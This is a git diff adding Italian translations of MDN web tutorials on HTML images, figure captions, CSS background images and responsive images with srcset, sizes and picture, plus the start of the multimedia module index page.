+ <li>annidalo in un elemento {{htmlelement("figure")}}</li>
+ <li>copia il testo dell'attributo <code>title</code>, rimuovi l'attributo <code>title</code>, quindi metti il testo copiato in un elemento {{htmlelement("figcaption")}} sotto all'immagine.</li>
+</ul>
+
+<p>Se fai un errore puoi resettare con l'apposito bottone; se sei proprio bloccato premi il pulsante <em>Show solution</em>.</p>
+
+<div class="hidden">
+<h6 id="Playable_code_2">Playable code 2</h6>
+
+<pre class="brush: html">&lt;h2&gt;Input&lt;/h2&gt;
+&lt;textarea id="code" class="input"&gt;
+&lt;/textarea&gt;
+&lt;h2&gt;Output&lt;/h2&gt;
+&lt;div class="output"&gt;&lt;/div&gt;
+&lt;div class="controls"&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+  &lt;input id="solution" type="button" value="Show solution" /&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">body {
+  font-family: 'Open Sans Light',Helvetica,Arial,sans-serif;
+}
+
+.input, .output {
+  width: 90%;
+  height: 10em;
+  padding: 10px;
+  border: 1px solid #0095dd;
+  overflow: auto;
+}
+
+button {
+  padding: 10px 10px 10px 0;
+}
+</pre>
+
+<pre class="brush: js">var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var code = textarea.value;
+var output = document.querySelector(".output");
+var solution = document.getElementById("solution");
+
+function drawOutput() {
+  output.innerHTML = textarea.value;
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawOutput();
+});
+
+solution.addEventListener("click", function() {
+textarea.value = '&lt;figure&gt;\n  &lt;img src="https://raw.githubusercontent.com/mdn/learning-area/master/html/multimedia-and-embedding/images-in-html/dinosaur_small.jpg"\n       alt="The head and torso of a dinosaur skeleton; it has a large head with long sharp teeth"\n       width="200"\n       height="171"&gt;\n  &lt;figcaption&gt;A T-Rex on display in the Manchester University Museum&lt;/figcaption&gt;\n&lt;/figure&gt;';
+  drawOutput();
+});
+
+textarea.addEventListener("input", drawOutput);
+window.addEventListener("load", drawOutput);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code_2', 700, 500) }}</p>
+
+<h2 id="CSS_e_immagini_di_background">CSS e immagini di background</h2>
+
+<p>Puoi anche usare i CSS per inserire immagini nelle pagine web (e anche i JavaScript, ma questa è tutta un'altra storia). Le proprietà dei CSS {{cssxref("background-image")}} — e le altre proprietà <code>background-*</code> — sono usate per controllare il posizionamento delle immagini di sfondo (background). Per esempio, per mettere un'immagine di sfondo ad ogni paragrafo di una pagina, si può fare così:</p>
+
+<pre class="brush: css">p {
+  background-image: url("images/dinosaur.jpg");
+}</pre>
+
+<p>Le immagini risultanti sono presumibilmente più facili da posizionare e controllare delle immagini HTML, quindi perché complicarsi la vita con le immagini HTML? Come suggerito precedentemente, le immagini introdotte con i CSS hanno solo scopo decorativo — se vuoi aggiungere qualcosa di carino alla tua pagina per migliorare l'effetto visivo, va bene; ma queste immagini non hanno alcun significato semantico — non possonoavere alcun testo equivalente, sono invisibili per gli screen readers, etc. Per questo, servono le immagini HTML.</p>
+
+<p>Quindi, se una immagine ha un contenuto significativo, si dovrebbe inserirla tramite l'HTML; se è puramente decorativa, lo si dovrebbe fare tramite i CSS.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: imparerai molto di più riguardo a <a href="/en-US/docs/Learn/CSS/Styling_boxes/Backgrounds">CSS background images</a> nel nostro <a href="/en-US/docs/Learn/CSS">CSS</a> topic.</p>
+</div>
+
+<h2 id="Conclusioni">Conclusioni</h2>
+
+<p>Per ora è tutto — abbiamo trattato le immagini e le didascalie nei dettagli. Nel prossimo articolo cambieremo marcia e vevremo come usare l'HTML per includere video e audio nelle pagine web.</p>
+
+<p>{{NextMenu("Learn/HTML/Multimedia_and_embedding/Video_and_audio_content", "Learn/HTML/Multimedia_and_embedding")}}</p>
diff --git a/files/it/learn/html/multimedia_and_embedding/immagini_reattive/index.html b/files/it/learn/html/multimedia_and_embedding/immagini_reattive/index.html
new file mode 100644
index 0000000000..cc3dbd7892
--- /dev/null
+++ b/files/it/learn/html/multimedia_and_embedding/immagini_reattive/index.html
@@ -0,0 +1,241 @@
+---
+title: Immagini reattive
+slug: Learn/HTML/Multimedia_and_embedding/immagini_reattive
+translation_of: Learn/HTML/Multimedia_and_embedding/Responsive_images
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web", "Learn/HTML/Multimedia_and_embedding/Mozilla_splash_page", "Learn/HTML/Multimedia_and_embedding")}}</div>
+
+<div>
+<p class="summary">In questo articolo impareremo il concetto di "immagini reattive" (responsive images) — immagini che funzionano correttamente su dispositivi con monitor di dimensioni e risoluzioni  anche molto diverse — e vedremo quali strumenti l'HTML ci mette a disposizione per implementarle. Le immagini reattive sono solo una parte della progettazione di un web reattivo (responsive web design), e pongono delle buone basi per un argomento del quale si imparerà molto di più in un modulo seguente sui <a href="/en-US/docs/Learn/CSS">CSS</a>.</p>
+</div>
+
+<table class="learn-box nostripe standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerequisiti:</th>
+   <td>Dovresti già conoscere <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">basics of HTML</a> e come <a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Images_in_HTML">aggiungere immagini a una pagina web</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Obiettivi:</th>
+   <td>Imparare ad usare caratteristiche quali l'attributo {{htmlattrxref("srcset", "img")}} e l'elemento {{htmlelement("picture")}} per aggiungere immagini reattive ai siti web, usando diverse soluzioni.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Perché_le_immagini_reattive">Perché le immagini reattive?</h2>
+
+<p>Quale problema stiamo cercando di risolvere con le immagini reattive? Esaminiamo uno scenario tipico. Un sito web, probabilmente, avrà una immagine di testa (header image) per piacere ai visitatori, più, forse, altre immagini più giù nel contenuto. Probabilmente si vorrà che l'immagine di testa occupi l'intera larghezza della pagina e che le immagini nel contenuto riempiano le colonne. Vediamo un esempio:</p>
+
+<p><img alt="Our example site as viewed on a wide screen - here the first image works ok, as it is big enough to see the detail in the center." src="https://mdn.mozillademos.org/files/12940/picture-element-wide.png" style="display: block; height: 554px; margin: 0px auto; width: 700px;"></p>
+
+<p>Ciò funziona bene su un dispositivo con uno schermo ampio, come un laptop o un desktop (you can <a href="http://mdn.github.io/learning-area/html/multimedia-and-embedding/responsive-images/not-responsive.html">see the example live</a> and find the <a href="https://github.com/mdn/learning-area/blob/master/html/multimedia-and-embedding/responsive-images/not-responsive.html">source code</a> on Github). Non discuteremo molto dei CSS, salvo che per dire questo:</p>
+
+<ul>
+ <li>il contenuto del body è stato fissato ad una larghezza massima di 1200 pixels — sopra a questa larghezza il body rimarrà a 1200px e si centrerà orizzontalmente nella pagina. Sotto a questa larghezza, il body verrà visualizzato al 100% della larghezza della pagina.</li>
+ <li>L'immagine di testa è impostata in modo che il suo centro sia sempre nel centro della testata, indipendentemente dalla larghezza della stessa. Così, se il sito è visto in uno schermo più stretto, i dettagli importanti nel centro dell'immagine (le persone) rimangono visibili, mentre ai lati viene perso ciò che eccede. L'altezza è di 200 px.</li>
+ <li>Le immagini nel contenuto sono impostate in modo che se l'elemento body diventa più stretto delle immagini, queste iniziano a ridursi per rimanere sempre al''interno del body, piuttosto che strabordare.</li>
+</ul>
+
+<p>Così va bene, ma il problema arriva quando cominci a vedere il sito su un dispositivo con uno schermo stretto — l'immagine di testata si vede bene, ma inizia a prendere gran parte dell'altezza dello schermo per un dispositivo portatile; d'altra parte la prima immagine del contenuto si vede malissimo - a questa dimensione si possono appena vedere le persone.</p>
+
+<p><img alt="Our example site as viewed on a narrow screen; the first image has shrunk to the point where it is hard to make out the detail on it." src="https://mdn.mozillademos.org/files/12936/non-responsive-narrow.png" style="display: block; height: 793px; margin: 0px auto; width: 320px;"></p>
+
+<p>Quando il sito è visualizzato su uno schermo stretto, sarebbe molto meglio mostrare una versione ritagliata dell'immagine che contenga i dettagli importanti dello scatto e magari una via di mezzo tra le due foto quando lo schermo è di media dimensione, come per i tablet. - Questa situazione è nota come <strong>art direction problem</strong>.</p>
+
+<p>Inoltre, non c'è bisogno di includere immagini così grandi se la pagina vien vista sui piccoli schermi dei portatili. - Questa è nota come <strong>resolution switching problem</strong>. Una immagine raster è definita da un certo numero di pixel di larghezza e da un certo numero in altezza; come abbiamo visto parlando di <a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web">vector graphics</a>, una immagine raster inizia a sgranarsi e a sfocarsi se è mostrata più grande della sua dimensione originale (ciò non accade per le immagini vettoriali), mentre se la visualizziamo più piccola stiamo sprecando banda per far scaricare un file immagine più pesante del necessario - specialmente gli utenti di dispositivi portatili non vogliono che questo accada dal momento che una piccola immagine farebbe a caso loro. Una soluzione ideale la si avrebbe se si avessero diverse immagini, con diverse dimensioni e risoluzioni, da caricare sui diversi dispositivi.</p>
+
+<p>A rendere le cose ancora più complicate, hanno schermi ad alta risoluzione che necessitano di immagini più grandi di quello che ci si potrebbe aspettare per apparire al meglio. Questo problema è essenzialmente analogo, ma in un contesto leggermente diverso.</p>
+
+<p>Si potrebbe pensare che le immagini vettoriali possano risolvere questi problemi e in certa misura lo fanno: sono leggere, vengono scalate (ingrandite in scala) bene e dove possibile le si dovrebbe usare. Tuttavia non sono adatte a qualsiasi tipo di immagine: mentre sono ottime per grafiche semplici, cominciano a diventare molto complesse per creare immagini con il livello di dettaglio che si vorrebbe per una foto. Le immagini raster dei formati come ad es. JPEG sono più adatte ai tipi di immagini che abbiamo visto negli esempi precedenti.</p>
+
+<p>Questo tipo di problemi non esisteva quando il web era agli esordi, nei primi anni 90: allora, gli unici dispositivi esistenti per navigare il web erano i desktop e i laptop, così i progettisti di browser e gli scrittori non dovevano pensare alle soluzioni. Le tecnologie per le immagini reattive (<em>Responsive image technologies</em>) sono state aggiunte di recente per risolvere i problemi accennati sopra, permettendoti di fornire al browser diversi file immagine, che contengono le stesse immagini ma ad una risoluzione diversa, con diverso numero di pixel (<em>resolution switching</em>), o immagini diverse adatte a spazi di allocazione di dimensione diversa (<em>art direction</em>.)</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Le nuove caratteristiche trattate in questo articolo — {{htmlattrxref("srcset", "img")}}/{{htmlattrxref("sizes", "img")}}/{{htmlelement("picture")}} — sono tutte supportate nelle versioni più aggiornate dei browser per desktop e per dispositivi mobili (incluso il browser Microsoft Edge, non da Internet Explorer.) </p>
+</div>
+
+<h2 id="Come_creare_immagini_reattive">Come creare immagini reattive?</h2>
+
+<p>In questa sezione, esamineremo i 2 problemi illustrati e mostreremo come risolverli usando le caratteristiche dell'HTML per le immagini reattive. Dovreste notare che ci concentreremo sull'elemento {{htmlelement("img")}} come trattato nell'esempio precedente — l'immagine nella header è solo decorativa e perciò è aggiunta usando i CSS. I <a href="http://blog.cloudfour.com/responsive-images-101-part-8-css-images/">CSS hanno probabilmente migliori strumenti per il responsive design</a> dell'HTML; ne parleremo in un successivo modulo sui CSS.</p>
+
+<h3 id="Cambiare_risoluzione_dimensioni_differenti">Cambiare risoluzione: dimensioni differenti</h3>
+
+<p>Qual è il problema che vogliamo risolvere cambiando la risoluzione? Vogliamo mostrare una immagine identica, ma più grande o più piccola in funzione del dispositivo — è la situazione che abbiamo con la seconda immagine del nostro esempio. L'elemento standard {{htmlelement("img")}} tradizionalmente, permette solo di puntare a un singolo file sorgente.</p>
+
+<pre class="brush: html">&lt;img src="elva-fairy-800w.jpg" alt="Elva dressed as a fairy"&gt;</pre>
+
+<p>Tuttavia, possiamo usare 2 nuovi attributi — {{htmlattrxref("srcset", "img")}} e {{htmlattrxref("sizes", "img")}} — per fornire molte sorgenti di immagine addizionali insieme a dei suggerimenti per aiutare il browser a prelevare quella giusta. Si può vedere un esempio nel nostro <a href="http://mdn.github.io/learning-area/html/multimedia-and-embedding/responsive-images/responsive.html">reponsive.html</a> su Github (vedere anche <a href="https://github.com/mdn/learning-area/blob/master/html/multimedia-and-embedding/responsive-images/responsive.html">il codice sorgente</a>):</p>
+
+<pre class="brush: html">&lt;img srcset="elva-fairy-320w.jpg 320w,
+             elva-fairy-480w.jpg 480w,
+             elva-fairy-800w.jpg 800w"
+     sizes="(max-width: 320px) 280px,
+            (max-width: 480px) 440px,
+            800px"
+     src="elva-fairy-800w.jpg" alt="Elva dressed as a fairy"&gt;</pre>
+
+<p>Gli attributi <code>srcset</code> e <code>sizes</code> sembrano complicati da capire, ma non lo sono poi tanto se li si formatta come mostrato qui sopra: con una parte del valore dell'attributo per riga. Ogni valore contiene una lista  separata da virgole e ogni parte della lista è fatta di 3 sottoparti. Esaminiamo il contenuto di ognuna:</p>
+
+<p><strong><code>srcset</code></strong> definisce il set di immagini tra le quali vogliamo che il browser scelga e quali dimensioni hanno. Prima di ogni virgola, scriviamo:</p>
+
+<ol>
+ <li>un <strong>nome di file immagine</strong> (<code>elva-fairy-480w.jpg</code>.)</li>
+ <li>uno spazio</li>
+ <li>la <strong>dimensione della larghezza dell'immagine in pixels</strong> (<code>480w</code>) — notate l'uso dell'unità w e non px come ci si potrebbe aspettare. Si tratta della reale dimensione dell'immagine, che si può trovare esaminando il file immagine sul computer (per esempio in un Mac si può selezionare l'immagine in  Finder, e premere <kbd>Cmd</kbd> + <kbd>I</kbd> per aprire la scheramta di informazioni).</li>
+</ol>
+
+<p><strong><code>sizes</code></strong> definisce un set di condizioni (ad es. la larghezza dello schermo) e indica quale dimensione di immagine sarebbe meglio scegliere quando si verificano quelle condizioni — questi sono i suggerimenti di cui si parlava prima. In questo caso, prima di ogni virgola scriviamo:</p>
+
+<ol>
+ <li>una <strong>media condition</strong> (<code>(max-width:480px)</code>) — imparerete di più a questo riguardo nella sezione sui <a href="/en-US/docs/Learn/CSS">CSS</a>, ma per adesso diciamo solo che la "media condition" descrive un possibile stato dello schermo. In questo caso, si stà dicendo: "quando la larghezza visualizzata è 480 pixels o meno".</li>
+ <li>uno spazio</li>
+ <li>La <strong>larghezza della posizione</strong> che l'immagine occuperà quando si realizza la condizione (<code>440px</code>.)</li>
+</ol>
+
+<div class="note">
+<p><strong>Nota</strong>: Per la larghezza della posizione, si può fornire una misura assoluta (<code>px</code>, <code>em</code>) o una relativa (come una percentuale). Potreste aver notato che l'ultima larghezza non ha media condition — questa è perciò la condizione di default che deve essere scelta quando nessuna delle condizioni sui dispositivi è vera. Il browser ignora tutto ciò che segue la prima condizione verificata, perciò bisogna fare attenzione all'ordine delle condizioni.</p>
+</div>
+
+<p>Quindi, definiti questi attributi, il browser farà:</p>
+
+<ol>
+ <li>verifica della larghezza del suo dispositivo</li>
+ <li>calcolo di quale sia la prima condizione tra la lista dell'atributo <code>sizes</code> ad essere vera</li>
+ <li>Look at the slot size given to that media query.</li>
+ <li>Caricamento dell'immagine elencata nell'attributo <code>srcset</code> che maggiormente si avvicina alla dimensione della posizione (slot) scelta.</li>
+</ol>
+
+<p>Fatto! Così a questo punto, se un browser col supporto con una larghezza della viewport di 480px carica la pagina, la <code>(max-width: 480px)</code> media condition sarà vera, perciò verrà scelta la slot da <code>440px</code>, quindi sarà caricata la <code>elva-fairy-480w.jpg</code>, poiché la sua larghezza (<code>480w</code>) è la più vicina ai <code>440px</code>. L'immagine da 800px occupa 128KB su disco, mentre la versione da 480px solo 63KB — un risparmio di 65KB. Adesso immagina se fosse una pagina con molte immagini. Usando questa tecnica si può far risparmiare agli utenti mobile un sacco di  ampiezza di banda.</p>
+
+<p>I browser più vecchi che non supportano queste caratteristiche, semplicemente le ignoreranno e andranno avanti a caricare l'immagine indicata dall'attributo {{htmlattrxref("src", "img")}} come al solito.</p>
+
+<div class="note">
+<p><strong>Note</strong>: nell'elemento {{htmlelement("head")}} del documento si troverà la linea <code>&lt;meta name="viewport" content="width=device-width"&gt;</code>: questo obbliga i browser dei dispositivi mobili ad adottare la loro reale larghezza viewport per caricare le pagine web (alcuni browser mentono riguardo alla larghezza e caricano invece pagine a una risoluzione maggiore e poi la riducono, che non è molto utile con una progettazione o una immagine reattiva. Spiegheremo di più a questo proposito in un modulo successivo).</p>
+</div>
+
+<h3 id="Utili_strumenti_di_sviluppo">Utili strumenti di sviluppo</h3>
+
+<p>Ci sono alcuni utili <a href="/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools">developer tools</a> nei browser, per aiutare a calcolare le necessarie larghezze slot, ecc. che si ha bisogno di usare. Mentre le stavo calcolando, prima di tutto ho caricato la versione non reattiva dell'esempio (<code>not-responsive.html</code>), poi sono andato in <a href="/en-US/docs/Tools/Responsive_Design_Mode">Responsive Design View</a> (<em>Tools &gt; Web Developer &gt; Responsive Design View - In Firefox, dal sandwich menù -&gt; Sviluppo -&gt; Modalità visualizzazione flessibile</em>), che ti permette di guardare il layout della tua pagina come se fosse visto attraverso dispositivi con diversa dimensione dello schermo.</p>
+
+<p>Ho impostato la larghezza viewport a 320px e poi a 480px; per ciascuna sono andato nel <a href="/en-US/docs/Tools/Page_Inspector">DOM Inspector</a>, ho cliccato sull'elemento {{htmlelement("img")}} a cui ero interessato e ho guardato la dimensione nella scheda vista Box Model sulla destra del monitor. Questo dovrebbe dare la larghezza dell'immagine di cui si ha bisogno.</p>
+
+<p><img alt="A screenshot of the firefox devtools with an image element highlighted in the dom, showing its dimensions as 440 by 293 pixels." src="https://mdn.mozillademos.org/files/12932/box-model-devtools.png" style="display: block; height: 845px; margin: 0px auto; width: 480px;"></p>
+
+<p>Dopo, si può controllare se <code>srcset</code> sta funzionando impostando la larghezza viewport come si desidera (impostatela stretta, per esempio), aprendo il Network Inspector (<em>Tools &gt; Web Developer &gt; Network</em>), poi ricaricando la pagina. Questo dovrebbe dare una lista di risorse che sono state scaricate per per mostrare la pagina e quindi si potrà verificare quale file è stato scelto e scaricato.</p>
+
+<p><img alt="a screenshot of the network inspector in firefox devtools, showing that the HTML for the page has been downloaded, along with three images, which include the two 800 wide versions of the responsive images" src="https://mdn.mozillademos.org/files/12934/network-devtools.png" style="display: block; height: 630px; margin: 0px auto; width: 600px;"></p>
+
+<h3 id="Modificare_la_risoluzione_stessa_dimensione_diverse_risoluzioni">Modificare la risoluzione: stessa dimensione, diverse risoluzioni</h3>
+
+<p>Se stai supportando diverse risoluzioni, ma tutti vedono la tua immagine alla stessa dimensione reale sullo schermo, puoi permettere al browser di scegliere una immagine di risoluzione appropriata usando l'attributo <code>srcset</code> con il descrittore x (x-descriptors) e senza <code>sizes</code> — una sintassi piuttosto semplice! Puoi trovare un esempio di come appare in <a href="http://mdn.github.io/learning-area/html/multimedia-and-embedding/responsive-images/srcset-resolutions.html">srcset-resolutions.html</a> (vedere anche il <a href="https://github.com/mdn/learning-area/blob/master/html/multimedia-and-embedding/responsive-images/srcset-resolutions.html">codice sorgente</a>):</p>
+
+<pre class="brush: html">&lt;img srcset="elva-fairy-320w.jpg,
+             elva-fairy-480w.jpg 1.5x,
+             elva-fairy-640w.jpg 2x"
+     src="elva-fairy-640w.jpg" alt="Elva dressed as a fairy"&gt;
+</pre>
+
+<p><img alt="A picture of a little girl dressed up as a fairy, with an old camera film effect applied to the image" src="https://mdn.mozillademos.org/files/12942/resolution-example.png" style="display: block; height: 425px; margin: 0px auto; width: 480px;">In questo esempio è stato applicato il seguente CSS all'immagine per farle avere una larghezza di 320 pixels sullo schermo (also called CSS pixels):</p>
+
+<pre class="brush: css">img {
+  width: 320px;
+}</pre>
+
+<p>In questo caso <code>sizes</code> non è necessario — il browser calcola qual è la risoluzione del display su cui è mostrato e fornisce l'immagine più appropriata tra quelle elencate in <code>srcset</code>. Così se il dispositivo che accede alla pagina ha un display standard a bassa risoluzione, with one device pixel representing each CSS pixel, viene caricata l'immagine <code>elva-fairy-320w.jpg</code> (il descrittore 1x è implicito e non c'è bisogno di specificarlo.) Se il dispositivo ha una alta risoluzione di 2 pixel per ogni pixel CSS o più, viene caricata l'immagine <code>elva-fairy-640w.jpg</code>. L'immagine a 640px è di 93KB, mentre quella a 320px è di soli 39KB.</p>
+
+<h3 id="Art_direction">Art direction</h3>
+
+<p>To recap, the <strong>art direction problem</strong> involves wanting to change the image displayed to suit different image display sizes. For example, if a large landscape shot with a person in the middle is shown on a website when viewed on a desktop browser, then shrunk down when the website is viewed on a mobile browser, it will look bad as the person will be really tiny and hard to see. It would probably be better to show a smaller, portrait image on mobile, which shows the person zoomed in. The {{htmlelement("picture")}} element allows us to implement just this kind of solution.</p>
+
+<p>Returning to our original <a href="http://mdn.github.io/learning-area/html/multimedia-and-embedding/responsive-images/not-responsive.html">not-responsive.html</a> example, we have an image that badly needs art direction:</p>
+
+<pre class="brush: html">&lt;img src="elva-800w.jpg" alt="Chris standing up holding his daughter Elva"&gt;</pre>
+
+<p>Let's fix this, with {{htmlelement("picture")}}! Like <a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content"><code>&lt;video&gt;</code> and <code>&lt;audio&gt;</code></a>, The <code>&lt;picture&gt;</code> element is a wrapper containing several {{htmlelement("source")}} elements that provide several different sources for the browser to choose between, followed by the all-important {{htmlelement("img")}} element. the code in <a href="http://mdn.github.io/learning-area/html/multimedia-and-embedding/responsive-images/responsive.html">responsive.html</a> looks like so:</p>
+
+<pre class="brush: html">&lt;picture&gt;
+  &lt;source media="(max-width: 799px)" srcset="elva-480w-close-portrait.jpg"&gt;
+  &lt;source media="(min-width: 800px)" srcset="elva-800w.jpg"&gt;
+  &lt;img src="elva-800w.jpg" alt="Chris standing up holding his daughter Elva"&gt;
+&lt;/picture&gt;
+</pre>
+
+<ul>
+ <li>The <code>&lt;source&gt;</code> elements include a <code>media</code> attribute that contains a media condition — as with the first <code>srcset</code> example, these conditions are tests that decide which image is shown — the first one that returns true will be displayed. In this case, If the viewport width is 799px wide or less, the first <code>&lt;source&gt;</code> element's image will be displayed. If the viewport width is 800px or more, it'll be the second one.</li>
+ <li>The <code>srcset</code> attributes contain the path to the image to display. Note that just as we saw with <code>&lt;img&gt;</code> above, <code>&lt;source&gt;</code> can take a <code>srcset</code> attribute with multiple images referenced, and a <code>sizes</code> attribute too. So you could offer multiple images via a <code>&lt;picture&gt;</code> element, but then also offer multiple resolutions of each one too. Realistically, you probably won't want to do this kind of thing very often.</li>
+ <li>In all cases, you must provide an <code>&lt;img&gt;</code> element, with <code>src</code> and <code>alt</code>, right before <code>&lt;/picture&gt;</code>, otherwise no images will appear. This provides a default case that will apply when none of the media conditions return true (you could actually remove the second <code>&lt;source&gt;</code> element in this example), and a fallback for browsers that don't support the <code>&lt;picture&gt;</code> element.</li>
+</ul>
+
+<p>This code allows us to display a suitable image on both wide screen and narrow screen displays, as shown below:</p>
+
+<p><img alt="Our example site as viewed on a wide screen - here the first image works ok, as it is big enough to see the detail in the center." src="https://mdn.mozillademos.org/files/12940/picture-element-wide.png" style="display: block; height: 554px; margin: 0px auto; width: 700px;"><img alt="Our example site as viewed on a narrow screen with the picture element used to switch the first image to a portrait close up of the detail, making it a lot more useful on a narrow screen" src="https://mdn.mozillademos.org/files/12938/picture-element-narrow.png" style="display: block; height: 710px; margin: 0px auto; width: 320px;"></p>
+
+<div class="note">
+<p><strong>Note</strong>: You should use the <code>media</code> attribute only in art direction scenarios; when you do use <code>media</code>, don't also offer media conditions within the <code>sizes</code> attribute.</p>
+</div>
+
+<h3 id="Why_can't_we_just_do_this_using_CSS_or_JavaScript">Why can't we just do this using CSS or JavaScript?</h3>
+
+<p>When the browser starts to load a page, it starts to download (preload) any images before the main parser has started to load and interpret the page's CSS and JavaScript. This is a useful technique, which on average has shaved 20% off page load times. However, it is not helpful for responsive images, hence the need to implement solutions like <code>srcset</code>. You couldn't for example load the {{htmlelement("img")}} element, then detect the viewport width with JavaScript and dynamically change the source image to a smaller one if desired. By then, the original image would already have been loaded, and you would load the small image as well, which is even worse in responsive image terms.</p>
+
+<ul>
+</ul>
+
+<h3 id="Use_modern_image_formats_boldly">Use modern image formats boldly</h3>
+
+<p>There are several exciting new image formats (such as WebP and JPEG-2000) that can maintain a low file size and high quality at the same time. However, browser support is spotty.</p>
+
+<p><code>&lt;picture&gt;</code> lets us continue catering to older browsers. You can supply MIME types inside <code>type</code> attributes so the browser can immediately reject unsupported file types:</p>
+
+<pre class="brush: html">&lt;picture&gt;
+  &lt;source type="image/svg+xml" srcset="pyramid.svg"&gt;
+  &lt;source type="image/webp" srcset="pyramid.webp"&gt;
+  &lt;img src="pyramid.png" alt="regular pyramid built from four equilateral triangles"&gt;
+&lt;/picture&gt;
+</pre>
+
+<ul>
+ <li>Do <em>not </em>use the <code>media</code> attribute, unless you also need art direction.</li>
+ <li>In a <code>&lt;source&gt;</code> element, you can only refer to images of the type declared in <code>type</code>.</li>
+ <li>As before, you're welcome to use comma-separated lists with <code>srcset</code> and <code>sizes</code>, as needed.</li>
+</ul>
+
+<h2 id="Active_learning_Implementing_your_own_responsive_images">Active learning: Implementing your own responsive images</h2>
+
+<p>For this active learning, we're expecting you to be brave and go it alone ... mostly. We want you to implement your own suitable art directed narrow screen/wide screen shot using <code>&lt;picture&gt;</code>, and a resolution switching example that uses <code>srcset</code>.</p>
+
+<ol>
+ <li>Write some simple HTML to contain your code (use <code>not-responsive.html</code> as a starting point, if you like)</li>
+ <li>Find a nice wide screen landscape image with some kind of detail contained in it somewhere. Create a web-sized version of it using a graphics editor, then crop it to show a smaller part that zooms in on the detail, and create a second image (about 480px wide is good for this.)</li>
+ <li>Use the <code>&lt;picture&gt;</code> element to implement an art direction picture switcher!</li>
+ <li>Create multiple image files of different sizes, each showing the same picture.</li>
+ <li>Use <code>srcset</code>/<code>size</code> to create a resolution switcher example, either to serve the same size image at different resolutions, or different image sizes at different viewport widths.</li>
+</ol>
+
+<div class="note">
+<p><strong>Note</strong>: Use the browser devtools to help work out what sizes you need, as mentioned above.</p>
+</div>
+
+<h2 id="Summary">Summary</h2>
+
+<p>That's a wrap for responsive images — we hope you enjoyed playing with these new techniques. As a recap, there are two distinct problems we've been discussing here:</p>
+
+<ul>
+ <li><strong>Art direction</strong>: The problem whereby you want to serve cropped images for different layouts — for example a landscape image showing a full scene for a desktop layout, and a portrait image showing the main subject zoomed in close for a mobile layout. This can be solved using the {{htmlelement("picture")}} element.</li>
+ <li><strong>Resolution switching</strong>: The problem whereby you want to serve smaller image files to narrow screen devices, as they don't need huge images like desktop displays do — and also optionally that you want to serve different resolution images to high density/low density screens. This can be solved using <a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web">vector graphics</a> (SVG images), and the {{htmlattrxref("srcset", "img")}} and {{htmlattrxref("sizes", "img")}} attributes.</li>
+</ul>
+
+<p>This also draws to a close the entire <a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding">Multimedia and embedding</a> module! The only thing to do now before moving on is to try our multimedia assessment, and see how you get on. Have fun.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="http://blog.cloudfour.com/responsive-images-101-definitions">Jason Grigsby's excellent introduction to responsive images</a></li>
+ <li>{{htmlelement("img")}}</li>
+ <li>{{htmlelement("picture")}}</li>
+ <li>{{htmlelement("source")}}</li>
+</ul>
+
+<div>{{PreviousMenuNext("Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web", "Learn/HTML/Multimedia_and_embedding/Mozilla_splash_page", "Learn/HTML/Multimedia_and_embedding")}}</div>
diff --git a/files/it/learn/html/multimedia_and_embedding/index.html b/files/it/learn/html/multimedia_and_embedding/index.html
new file mode 100644
index 0000000000..8e1f49dad8
--- /dev/null
+++ b/files/it/learn/html/multimedia_and_embedding/index.html
@@ -0,0 +1,71 @@
+---
+title: Multimedialità e incorporamento
+slug: Learn/HTML/Multimedia_and_embedding
+tags:
+  - Assessment
+  - Audio
+  - Beginner
+  - CodingScripting
+  - Flash
+  - Guide
+  - HTML
+  - Images
+  - Landing
+  - Learn
+  - NeedsTranslation
+  - SVG
+  - TopicStub
+  - Video
+  - iframes
+  - imagemaps
+  - responsive
+translation_of: Learn/HTML/Multimedia_and_embedding
+---
+<p>{{LearnSidebar}}</p>
+
+<p class="summary">Finora, in questo corso abbiamo visto molto testo. Molto. Testo. Ma il Web sarebbe veramente noisoso con nient'altro che il testo, quindi cominciamo a vedere come rendere il Web animato, con contenuti più interessanti! Questo modulo esplora come usare l'HTML per inserire la multimedialità nelle tue pagine web, inclusi i differenti modi di aggiunta di immagini, e come incorporare video, audio e persino altre intere pagine web.</p>
+
+<h2 id="Prerequisiti">Prerequisiti</h2>
+
+<p>Prima di cominciare questo modulo, dovresti avere una ragionevole conoscenza delle basi dell'HTML, trattate in <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">Introduzione all'HTML</a>. Se non hai esaminato questo modulo (o qualcosa di simile), prima studialo, poi torna qui!</p>
+
+<div class="note">
+<p><strong>Nota</strong>: se stai lavorando su un computer/tablet/altro dispositivo dove non hai la possibilità di creare propri file, potresti provare (la maggior parte degli) esempi di codice in un programma di codifica online come <a href="http://jsbin.com/">JSBin</a> o <a href="https://thimble.mozilla.org/">Thimble</a>.</p>
+</div>
+
+<h2 id="Guide">Guide</h2>
+
+<p>Questo modulo contiene i seguenti articoli, che ti porteranno attraverso tutti i fondamenti dell'incorporazione della multimedialità nelle pagine web.</p>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Images_in_HTML">Immagini nell'HTML</a></dt>
